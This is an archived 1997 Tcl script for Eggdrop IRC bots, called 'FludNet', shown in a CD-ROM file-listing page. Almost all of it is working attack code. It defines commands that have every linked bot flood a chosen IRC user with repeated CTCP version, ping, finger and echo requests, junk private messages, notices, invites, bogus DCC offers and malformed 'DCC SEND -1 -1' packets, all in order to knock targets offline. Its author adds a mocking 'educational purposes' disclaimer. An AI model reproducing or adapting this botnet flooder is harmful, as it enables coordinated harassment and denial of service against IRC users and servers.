home *** CD-ROM | disk | FTP | other *** search
/ PC World Interactive 6 / PC World Interactive 6.iso / online / irchelp.EXE / Fludnet.tcl < prev    next >
Text File  |  1997-04-16  |  15KB  |  481 lines

  1. ############################################################################
  2. # 7th Sphere FludNet Fer Eggdrop1.0+ Written By DrPhuck                   #
  3. # Get Armed With 7th Sphere at Http://www.7thsphere.com                    #
  4. # Also Check Out Da Hideout, Http://www.fifo.com/~mikec                    #
  5. ############################################################################
  6. # This Is My First Attempt At A FloodNet So It May Have Some Bugs In It.   #
  7. # This Is My First Version And I Tried To Include As Many Flus As Possible,#
  8. # To Find Out How To Flood, Type ".flud" In The Dcc Session and Get Help. #
  9. # Have Any Questions Or Comments? Email DrPhuck at r00t@fifo.com           #
  10. # Happy Flooding, Btw...If You Get In Any Shit, It wudden`t my phucking    #
  11. # fault, This Is Just For Educational Purposes, So Use At Own Risk!!!      #
  12. ############################################################################
  13.  
  14. ### - Ok Here's All The Binding Shit
  15.  
  16. bind dcc m verflood cmd_vflood
  17. bind dcc m junkflood cmd_jflood
  18. bind dcc m pingflood cmd_pflood
  19. bind dcc m fdccflood cmd_fdflood
  20. bind dcc m userflood cmd_uflood
  21. bind dcc m timeflood cmd_tflood
  22. bind dcc m clientflood cmd_cflood
  23. bind dcc m fingerflood cmd_fflood
  24. bind dcc m inviteflood cmd_iflood
  25. bind dcc m noticeflood cmd_nflood
  26. bind dcc m cjunkflood cmd_cjflood
  27. bind dcc m fchatflood cmd_fcflood
  28. bind dcc m chatflood cmd_chflood
  29. bind dcc m dccflood cmd_dflood
  30. bind dcc m echoflood cmd_eoflood
  31. bind dcc m troutflood cmd_trtflood
  32. bind dcc m vomitflood cmd_vmtflood
  33. bind dcc m xdccflood cmd_xdccflood
  34. bind dcc m flud cmd_floodhlp
  35. bind dcc m ready cmd_ready
  36.  
  37. bind bot - vflood do_flood
  38. bind bot - jflood do_flood
  39. bind bot - pflood do_flood
  40. bind bot - fdflood do_flood
  41. bind bot - uflood do_flood
  42. bind bot - cflood do_flood
  43. bind bot - tflood do_flood
  44. bind bot - fflood do_flood
  45. bind bot - iflood do_flood
  46. bind bot - nflood do_flood
  47. bind bot - cjflood do_flood
  48. bind bot - chflood do_flood
  49. bind bot - fcflood do_flood
  50. bind bot - dflood do_flood
  51. bind bot - eoflood do_flood
  52. bind bot - trtflood do_flood
  53. bind bot - vmtflood do_flood
  54. bind bot - xdccflood do_flood
  55. bind bot - amiready do_am_i_ready
  56.  
  57. ### - Do Not Change This Please!
  58. set floodver "1.0"
  59.  
  60. set caniflood 1
  61. set who ""
  62.  
  63. proc cmd_floodhlp {handle idx args} {
  64.   putdcc $idx " 7th Sphere FloodNet Help."
  65.   putdcc $idx " "
  66.   putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  67.   putdcc $idx "FloodNet.Tcl Written by DrPhuck"
  68.   putdcc $idx "Da HideOut Iz At, Http://www.fifo.com/~mikec"
  69.   putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  70.   putdcc $idx " -=[ü Available Floods... ü]=-"
  71.   putdcc $idx "  inviteflood - fingerflood - pingflood "
  72.   putdcc $idx "  clientflood - cjunkflood  - fdccflood "
  73.   putdcc $idx "  noticeflood - timeflood   - chatflood "
  74.   putdcc $idx "  dccflood    - fchatflood  - echoflood "
  75.   putdcc $idx "  userflood   - junkflood   - verflood  "
  76.   putdcc $idx "  troutflood  - xdccflood   - vomitflood "
  77.   putdcc $idx "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"
  78.   putdcc $idx " Get Armed With 7th Sphere "
  79.   putdcc $idx " http://www.7thsphere.com "
  80. }
  81.  
  82. proc cmd_fversion {handle idx args} {
  83.   putallbots "fversion {$handle}"
  84.   done_fversion $handle
  85. }
  86.  
  87. proc do_fversion {handle idx args} {
  88.   set args [lindex $args 0]
  89.   set rnick [lindex $args 0]
  90.   done_fversion $rnick
  91. }
  92.  
  93. proc cmd_eoflood {handle idx args} {
  94.   global botnick 
  95.   set args [lindex $args 0]
  96.   set floodnick [lindex $args 0]
  97.   set times [lindex $args 1]
  98.   set verbose [lindex $args 2]
  99.   if {$verbose == "b"} {
  100.     set verbose "a"
  101.     }
  102.   putallbots "eoflood $floodnick $handle $times $verbose"
  103.   set verbose "b"
  104.   do_flood $botnick "eoflood" "{$floodnick} {$handle} {$times} {$verbose}"
  105. }
  106.  
  107. proc cmd_fcflood {handle idx args} {
  108.   global botnick 
  109.   set args [lindex $args 0]
  110.   set floodnick [lindex $args 0]
  111.   set times [lindex $args 1]
  112.   set verbose [lindex $args 2]
  113.   if {$verbose == "b"} {
  114.     set verbose "a"
  115.     }
  116.   putallbots "fcflood $floodnick $handle $times $verbose"
  117.   set verbose "b"
  118.   do_flood $botnick "fcflood" "{$floodnick} {$handle} {$times} {$verbose}"
  119. }
  120.  
  121. proc cmd_chflood {handle idx args} {
  122.   global botnick 
  123.   set args [lindex $args 0]
  124.   set floodnick [lindex $args 0]
  125.   set times [lindex $args 1]
  126.   set verbose [lindex $args 2]
  127.   if {$verbose == "b"} {
  128.     set verbose "a"
  129.     }
  130.   putallbots "chflood $floodnick $handle $times $verbose"
  131.   set verbose "b"
  132.   do_flood $botnick "chflood" "{$floodnick} {$handle} {$times} {$verbose}"
  133. }
  134.  
  135. proc cmd_dflood {handle idx args} {
  136.   global botnick 
  137.   set args [lindex $args 0]
  138.   set floodnick [lindex $args 0]
  139.   set times [lindex $args 1]
  140.   set verbose [lindex $args 2]
  141.   if {$verbose == "b"} {
  142.     set verbose "a"
  143.     }
  144.   putallbots "dflood $floodnick $handle $times $verbose"
  145.   set verbose "b"
  146.   do_flood $botnick "dflood" "{$floodnick} {$handle} {$times} {$verbose}"
  147. }
  148.  
  149. proc cmd_cjflood {handle idx args} {
  150.   global botnick 
  151.   set args [lindex $args 0]
  152.   set floodnick [lindex $args 0]
  153.   set times [lindex $args 1]
  154.   set verbose [lindex $args 2]
  155.   if {$verbose == "b"} {
  156.     set verbose "a"
  157.     }
  158.   putallbots "cjflood $floodnick $handle $times $verbose"
  159.   set verbose "b"
  160.   do_flood $botnick "cjflood" "{$floodnick} {$handle} {$times} {$verbose}"
  161. }
  162.  
  163. proc cmd_iflood {handle idx args} {
  164.   global botnick 
  165.   set args [lindex $args 0]
  166.   set floodnick [lindex $args 0]
  167.   set times [lindex $args 1]
  168.   set verbose [lindex $args 2]
  169.   if {$verbose == "b"} {
  170.     set verbose "a"
  171.     }
  172.   putallbots "iflood $floodnick $handle $times $verbose"
  173.   set verbose "b"
  174.   do_flood $botnick "iflood" "{$floodnick} {$handle} {$times} {$verbose}"
  175. }
  176.  
  177. proc cmd_nflood {handle idx args} {
  178.   global botnick 
  179.   set args [lindex $args 0]
  180.   set floodnick [lindex $args 0]
  181.   set times [lindex $args 1]
  182.   set verbose [lindex $args 2]
  183.   if {$verbose == "b"} {
  184.     set verbose "a"
  185.     }
  186.   putallbots "nflood $floodnick $handle $times $verbose"
  187.   set verbose "b"
  188.   do_flood $botnick "nflood" "{$floodnick} {$handle} {$times} {$verbose}"
  189. }
  190.  
  191. proc cmd_vflood {handle idx args} {
  192.   global botnick 
  193.   set args [lindex $args 0]
  194.   set floodnick [lindex $args 0]
  195.   set times [lindex $args 1]
  196.   set verbose [lindex $args 2]
  197.   if {$verbose == "b"} {
  198.     set verbose "a"
  199.     }
  200.   putallbots "vflood $floodnick $handle $times $verbose"
  201.   set verbose "b"
  202.   do_flood $botnick "vflood" "{$floodnick} {$handle} {$times} {$verbose}"
  203. }
  204.  
  205. proc cmd_fdflood {handle idx args} {
  206.   global botnick 
  207.   set args [lindex $args 0]
  208.   set floodnick [lindex $args 0]
  209.   set times [lindex $args 1]
  210.   set verbose [lindex $args 2]
  211.   if {$verbose == "b"} {
  212.     set verbose "a"
  213.     }
  214.   putallbots "fdflood $floodnick $handle $times $verbose"
  215.   set verbose "b"
  216.   do_flood $botnick "fdflood" "{$floodnick} {$handle} {$times} {$verbose}"
  217. }
  218.  
  219. proc cmd_pflood {handle idx args} {
  220.   global botnick
  221.   set args [lindex $args 0]
  222.   set floodnick [lindex $args 0]
  223.   set times [lindex $args 1]
  224.   set verbose [lindex $args 2]
  225.   if {$verbose == "b"} {
  226.     set verbose "a"
  227.     }
  228.   putallbots "pflood $floodnick $handle $times $verbose"
  229.   set verbose "b"
  230.   do_flood $botnick "pflood" "{$floodnick} {$handle} {$times} {$verbose}"
  231. }
  232.  
  233. proc cmd_jflood {handle idx args} {
  234.   global botnick
  235.   set args [lindex $args 0]
  236.   set floodnick [lindex $args 0]
  237.   set times [lindex $args 1]
  238.   set verbose [lindex $args 2]
  239.   if {$verbose == "b"} {
  240.     set verbose "a"
  241.     }
  242.   putallbots "jflood $floodnick $handle $times $verbose"
  243.   set verbose "b"
  244.   do_flood $botnick "jflood" "{$floodnick} {$handle} {$times} {$verbose}"
  245. }
  246.  
  247. proc cmd_uflood {handle idx args} {
  248.   global botnick
  249.   set args [lindex $args 0]
  250.   set floodnick [lindex $args 0]
  251.   set times [lindex $args 1]
  252.   set verbose [lindex $args 2]
  253.   if {$verbose == "b"} {
  254.     set verbose "a"
  255.     }
  256.   putallbots "uflood $floodnick $handle $times $verbose"
  257.   set verbose "b"
  258.   do_flood $botnick "uflood" "{$floodnick} {$handle} {$times} {$verbose}"
  259. }
  260.  
  261. proc cmd_cflood {handle idx args} {
  262.   global botnick
  263.   set args [lindex $args 0]
  264.   set floodnick [lindex $args 0]
  265.   set times [lindex $args 1]
  266.   set verbose [lindex $args 2]
  267.   if {$verbose == "b"} {
  268.     set verbose "a"
  269.     }
  270.   putallbots "cflood $floodnick $handle $times $verbose"
  271.   set verbose "b"
  272.   do_flood $botnick "cflood" "{$floodnick} {$handle} {$times} {$verbose}"
  273. }
  274.  
  275. proc cmd_tflood {handle idx args} {
  276.   global botnick
  277.   set args [lindex $args 0]
  278.   set floodnick [lindex $args 0]
  279.   set times [lindex $args 1]
  280.   set verbose [lindex $args 2]
  281.   if {$verbose == "b"} {
  282.     set verbose "a"
  283.     }
  284.   putallbots "tflood $floodnick $handle $times $verbose"
  285.   set verbose "b"
  286.   do_flood $botnick "tflood" "{$floodnick} {$handle} {$times} {$verbose}"
  287. }
  288.  
  289. proc cmd_fflood {handle idx args} {
  290.   global botnick
  291.   set args [lindex $args 0]
  292.   set floodnick [lindex $args 0]
  293.   set times [lindex $args 1]
  294.   set verbose [lindex $args 2]
  295.   if {$verbose == "b"} {
  296.     set verbose "a"
  297.     }
  298.   putallbots "fflood $floodnick $handle $times $verbose"
  299.   set verbose "b"
  300.   do_flood $botnick "fflood" "{$floodnick} {$handle} {$times} {$verbose}"
  301. }
  302.  
  303. proc cmd_trtflood {handle idx args} {
  304.   global botnick
  305.   set args [lindex $args 0]
  306.   set floodnick [lindex $args 0]
  307.   set times [lindex $args 1]
  308.   set verbose [lindex $args 2]
  309.   if {$verbose == "b"} {
  310.     set verbose "a" 
  311.     }
  312.   putallbots "trtflood $floodnick $handle $times $verbose" 
  313.   set verbose "b" 
  314.   do_flood $botnick "trtflood" "{$floodnick} {$handle} {$times} {$verbose}" 
  315. }
  316.  
  317. proc cmd_vmtflood {handle idx args} {
  318.   global botnick
  319.   set args [lindex $args 0]
  320.   set floodnick [lindex $args 0]
  321.   set times [lindex $args 1]
  322.   set verbose [lindex $args 2]
  323.   if {$verbose == "b"} {
  324.     set verbose "a" 
  325.     }
  326.   putallbots "vmtflood $floodnick $handle $times $verbose" 
  327.   set verbose "b" 
  328.   do_flood $botnick "vmtflood" "{$floodnick} {$handle} {$times} {$verbose}" 
  329. }
  330.  
  331. proc cmd_xdccflood {handle idx args} {
  332.   global botnick
  333.   set args [lindex $args 0]
  334.   set floodnick [lindex $args 0]
  335.   set times [lindex $args 1]
  336.   set verbose [lindex $args 2]
  337.   if {$verbose == "b"} {
  338.     set verbose "a" 
  339.     }
  340.   putallbots "xdccflood $floodnick $handle $times $verbose" 
  341.   set verbose "b" 
  342.   do_flood $botnick "xdccflood" "{$floodnick} {$handle} {$times} {$verbose}" 
  343. }
  344.  
  345. proc cmd_ready {handle idx args} {
  346.   putallbots "amiready"
  347.   am_i_ready
  348. }
  349.  
  350. proc do_am_i_ready {handle idx args} {
  351.   am_i_ready
  352. }
  353.  
  354. proc am_i_ready {} {
  355.   global caniflood
  356.   global who
  357.   if {"$caniflood" == "0"} {
  358.     dccbroadcast ""
  359.   } elseif {"$caniflood" == "1"} {
  360.     dccbroadcast ""
  361.   }
  362. }
  363.  
  364. proc do_flood {from cmd args} {
  365.   global caniflood
  366.   global who
  367.   global rnick
  368.   set args [lindex $args 0]
  369.   set floodnick [lindex $args 0]
  370.   set fromnick [lindex $args 1]
  371.   set times [lindex $args 2]
  372.   set showflood [lindex $args 3]
  373.  
  374. if {$caniflood == "1"} {
  375.   if {"$cmd"=="cjflood"} {
  376.     set text "PRIVMSG $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
  377.     set floodtype "CTCP JUNK FLOOD"
  378.     }
  379.   if {"$cmd"=="eoflood"} {
  380.     set text "PRIVMSG $floodnick :ECHO [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
  381.     set floodtype "CTCP ECHO FLOOD"
  382.     }
  383.   if {"$cmd"=="iflood"} {
  384.     set text "INVITE $floodnick #[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
  385.     set floodtype "INVITE JUNK FLOOD"
  386.     }
  387.   if {"$cmd"=="nflood"} {
  388.     set text "NOTICE $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
  389.     set floodtype "NOTICE JUNK FLOOD"
  390.     }
  391.   if {"$cmd"=="jflood"} {
  392.     set text "PRIVMSG $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
  393.     set floodtype "MSG JUNK FLOOD"
  394.     }
  395.   if {"$cmd"=="dflood"} {
  396.     set text "PRIVMSG $floodnick :DCC SEND [rs [expr [rand 20] + 3]] [myip] [expr [rand 5000] + 1024] [expr [rand 995000] + 5000]"
  397.     set floodtype "DCC SEND FLOOD"
  398.     }
  399.   if {"$cmd"=="chflood"} {
  400.     set text "PRIVMSG $floodnick :DCC CHAT chat [myip] [expr [rand 5000] + 1024]"
  401.     set floodtype "DCC CHAT FLOOD"
  402.     }
  403.   if {"$cmd"=="fdflood"} {
  404.     set text "PRIVMSG $floodnick :DCC SEND -1 -1"
  405.     set floodtype "FLUFFS SEND FLOOD"
  406.     }
  407.   if {"$cmd"=="fcflood"} {
  408.     set text "PRIVMSG $floodnick :DCC CHAT -1 -1"
  409.     set floodtype "FLUFFS CHAT FLOOD"
  410.     }
  411.   if {"$cmd"=="vflood"} {
  412.     set text "PRIVMSG $floodnick :VERSION"
  413.     set floodtype "VERSION FLOOD"
  414.     }
  415.   if {"$cmd"=="pflood"} {
  416.     set text "PRIVMSG $floodnick :PING"
  417.     set floodtype "PING FLOOD"
  418.     }
  419.   if {"$cmd"=="uflood"} {
  420.     set text "PRIVMSG $floodnick :userinfo"
  421.     set floodtype "USERINFO FLOOD"
  422.     }
  423.   if {"$cmd"=="cflood"} {
  424.     set text "PRIVMSG $floodnick :clientinfo"
  425.     set floodtype "CLIENTINFO FLOOD"
  426.     }
  427.   if {"$cmd"=="tflood"} {
  428.     set text "PRIVMSG $floodnick :time"
  429.     set floodtype "TIME FLOOD"
  430.     }
  431.   if {"$cmd"=="fflood"} {
  432.     set text "PRIVMSG $floodnick :finger"
  433.     set floodtype "FINGER FLOOD"
  434.     }
  435.  
  436.   if {"$cmd"=="trtflood"} {
  437.     set text "PRIVMSG $floodnick :trout" 
  438.     set floodtype "TROUT FLOOD" 
  439.     }
  440.  
  441.   if {"$cmd"=="vmtflood"} {
  442.     set text "PRIVMSG $floodnick :ECHO SDIUHXIDHIUDBPOURHPWEOPAOHPODHPOAHDOUIHPODHFOPUIHPFOAF__VoMiT__FLooD__SDJOIHADHPAODHOINDFPOANDUIODHPAUIOFAFPASUSGDPAUIFUGSPIDUG__VoMiT__SDFHOPDPFHUPODUIHADBUIPPFGHPISUHDPISHIPUAFUGIUSGDUIPGIUSDGPIUD__VoMiT__FLooD__ADIHPFIOIHHPUIODISHIHD"
  443.     set floodtype "VOMIT FLOOD"
  444.     }
  445.  
  446.  
  447.   if {"$cmd"=="xdccflood"} {
  448.     set text "PRIVMSG $floodnick :XDCC LIST"
  449.     set floodtype "XDCC FLOOD"
  450.     }
  451.  
  452.   if {$times > "20"} {
  453.     set times 20
  454.     }
  455.   if {$times == ""} {
  456.     set times 8
  457.     }
  458.   if {$times < "1"} {
  459.     set times 1
  460.     }
  461.  
  462.   set who "$floodnick"
  463.  
  464.   for {set i 0} {$i<$times} {incr i} {
  465.     putserv "$text"
  466.     }
  467. }
  468.   set caniflood 1
  469.   set type ""
  470.   set who ""
  471. }
  472.  
  473. proc rs {chars} {
  474.   for {set j 0} {$j<$chars} {incr j} {
  475.     append rs [string index abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 [rand 62]]
  476.   }
  477.   return $rs
  478. }
  479. putlog "7th Sphere FludNet v$floodver By DrPhuck Loaded Successfully!"
  480. putlog "An Equal Oppurtunity Destroyer!"
  481. dccbroadcast "Get 7th Sphere @ http://www.7thsphere.com"